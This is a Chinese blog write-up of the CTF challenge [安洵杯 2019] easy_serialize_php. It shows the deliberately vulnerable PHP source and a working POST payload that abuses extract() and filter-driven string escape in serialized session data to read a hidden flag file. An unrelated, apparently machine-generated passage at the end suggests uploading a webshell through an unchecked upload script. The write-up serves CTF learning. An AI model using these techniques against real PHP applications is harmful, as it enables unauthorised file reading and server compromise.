[ctf web][安洵杯 2019]easy_serialize_php writeup

48 篇文章 2 订阅
本文详细解析了一个PHP安全问题,涉及`extract()`函数导致的变量覆盖及通过字符串覆盖逃逸来读取敏感文件。攻击者通过构造特定的payload,绕过过滤函数,设置`_SESSION['img']`为目标文件的base64编码,最终通过`show_image`函数读取。此案例展示了PHP应用中常见的安全风险及防范措施。
摘要由CSDN通过智能技术生成

[安洵杯 2019]easy_serialize_php

知识点:
extract()变量覆盖
字符串覆盖逃逸(原理:序列化后的结构经过了某些处理,反而而把结构体本身的结构给打乱了)

源码:

<?php

$function = @$_GET['f'];		//get f为function

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);		//unset将$_SESSION销毁了。
}

$_SESSION["user"] = 'guest';		//$_SESSION数组
$_SESSION['function'] = $function;

extract($_POST);		//extract会导致变量覆盖

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));			//$_SESSION数组序列号并过滤存为$serialize_info

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

phpinfo里面找到d0g3_f1ag.php
在这里插入图片描述

思路:

f=show_image读文件的,让$userinfo[‘img’]是相应的d0g3_f1ag.php的base64加密

不传img_path
if(!$_GET[‘img_path’]){
$_SESSION[‘img’] = base64_encode(‘guest_img.png’);

利用自定义函数filter的替换进行字符串覆盖逃逸,自己把img的base放进去

payload:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

原理:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}				//ZDBnM19mMWFnLnBocA==   →   d0g3_f1ag.php
|serialize($_SESSION)
"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

phpflag 的值 ;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==
|
↓
filter过滤后phpflag就会被替换成空
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

第一个键名成了 ";s:48: 7位,然后对应的值是 s:1:"1"; 即为1
因为已经闭合了,后面的部分;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}会被直接抛弃

要凑两个:;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}长度为48 → s:48:

phpflag长度7 == ";s:48:

在这里插入图片描述

$flag = 'flag in /d0g3_fllllllag';同理读取
在这里插入图片描述

参考文章:https://www.cnblogs.com/h3zh1/p/12732336.html

首先,我们需要分析题目所提供的代码: ```php <?php error_reporting(0); if ($_FILES["upload"]["error"] > 0) { echo "Error: " . $_FILES["upload"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["upload"]["name"] . "<br />"; echo "Type: " . $_FILES["upload"]["type"] . "<br />"; echo "Size: " . ($_FILES["upload"]["size"] / 1024) . " Kb<br />"; move_uploaded_file($_FILES["upload"]["tmp_name"], "upload/" . $_FILES["upload"]["name"]); echo "Stored in: " . "upload/" . $_FILES["upload"]["name"]; } ?> ``` 从上述代码中我们可以发现,这是一个文件上传的代码,该代码运行后会将用户上传的文件存储到 `upload` 目录下。 但是,该代码没有对上传的文件类型进行限制,这意味着我们可以上传任何类型的文件,甚至是一些恶意的文件。我们可以尝试上传一些常见的恶意文件,比如 `webshell`。 我们可以在本地创建一个 `webshell.php` 文件,然后上传到服务器上的 `upload` 目录。上传完成后,我们可以访问 `http://xxx.xxx.xxx.xxx/upload/webshell.php` 来执行我们上传的 `webshell`。 最后,我们需要注意的是,该上传脚本没有做任何安全性检查,这意味着我们可以上传任意大小的文件,这可能会影响服务器的性能,甚至导致服务器崩溃。因此,在实际应用中,我们应该对上传的文件大小进行限制,同时对上传的文件类型进行检查,从而确保服务器的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

shu天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值